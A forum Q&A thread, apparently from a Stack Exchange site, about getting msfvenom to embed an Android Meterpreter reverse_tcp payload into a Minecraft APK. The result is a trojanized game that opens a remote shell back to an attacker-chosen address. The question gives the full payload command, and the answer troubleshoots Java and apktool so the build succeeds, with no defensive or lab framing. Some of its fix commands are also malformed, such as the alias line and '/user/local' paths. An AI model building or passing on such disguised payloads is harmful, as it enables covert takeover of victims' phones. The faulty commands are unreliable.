1

Read all and carefully

Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:

msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk

it gives me:

Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?

DoggoPlayer
  • 59
  • 1
  • 3
  • Any answer?????? – DoggoPlayer Feb 25 '20 at 13:18
  • Look at my answer below... the issue could be due to a missing file of apktool located in `/user/local/sbin` it didn't allow the system to use new updated version or whatever version of apktool you install. In order to verify, if you uninstall your apktool and after that type `apktool` in terminal it will still show that an instance of `apktool` exists. – MR_AMDEV Apr 25 '20 at 02:05

1 Answers1

1

I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.

FIRST ISSUE (_JAVA_OPTIONS) :

To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325

To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:

_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'

To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).

Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:

SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):

  1. I have found that there is a missing file of apktool located in usr/local/sbin. Delete apktool file from there if exists.

  2. Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool

  3. Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar

  4. Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin

  5. Type apktool in terminal and verify the version

P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw

MR_AMDEV
  • 1,712
  • 2
  • 21
  • 38